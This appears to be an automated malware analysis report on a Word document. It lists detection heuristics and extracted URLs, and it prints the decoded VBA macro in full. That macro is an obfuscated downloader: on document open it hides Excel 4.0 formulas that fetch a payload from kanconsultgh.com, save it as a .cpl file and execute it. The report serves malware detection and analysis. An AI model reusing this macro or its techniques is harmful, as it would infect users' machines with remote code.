Malware Insights
The sample contains a VBA macro with a Document_Open auto-execution function. This macro constructs a URL to download a file and then attempts to execute it. The macro dynamically constructs the download URL as "https://kanconsultgh.com/logs.php" and the save path for the payload as "C:\Users\<user>\AppData\Local\thinks-ce\test.cpl". It then uses CreateObject to launch Excel, writes formulas to cells that trigger the download and execution, and finally quits Excel. The presence of the Document_Open macro and CreateObject call strongly indicates a downloader or droppper functionality.
Heuristics 6
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1473 bytes |
SHA-256: ff63b48c97f89b2647d7ed0b87b59058349439e6555891dca7ced5c4190641f0 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Document_Open()
On Error Resume Next
vcvg = Array("EXE", "URL", "oadToF", "LOSE", "ll", "C", "tt", "php", "plo")
deKIvErH = Selection.Information(4)
XhogxhPD = Environ("LocalAppData") & "\thi" & ylHXvH & "nk-ce" & vcvg(vbShortDate + deKIvErH)
KvLJMDi = XhogxhPD & "\tes" & ylHXvH & "t.cpl"
WkRe = "h" & vcvg(deKIvErH + vbShortTime) & "ps://kanconsultgh." & ylHXvH & "com/logs." & vcvg(deKIvErH + vbThursday)
aSOTjdw = "=" & vcvg(deKIvErH + vbLongTime) & "ALL(""" & vcvg(deKIvErH - vbLongDate) & "MON"",""" & vcvg(deKIvErH - vbLongDate) & "Downl" & vcvg(deKIvErH) & "ileA"",""JJC" & ylHXvH & "CJJ"",0,""" & WkRe & """,""" & KvLJMDi & """,0,0)"
OoDpn = "=EXE" & vcvg(deKIvErH + vbLongTime) & "(""ex" & vcvg(vbShortTime * deKIvErH) & "rer " & KvLJMDi & """)"
eBvLusr = "=" & vcvg(deKIvErH + vbLongTime) & "LOSE(FA" & ylHXvH & "LSE)"
MkDir XhogxhPD
Set kjTSGas = CreateObject("Excel.Application")
With kjTSGas
.Workbooks.Add (deKIvErH + 1)
.Visible = False
.Range("A1").Name = "HqPlHWS"
.Range("A1") = aSOTjdw
.Range("A2") = OoDpn
.Range("A3") = eBvLusr
.Run "HqPlHWS"
.Quit
End With
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 9728 bytes |
SHA-256: 69121af6b149afe775d7ad84d0c43177c1b95748fe658220c05ced4dff113402 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.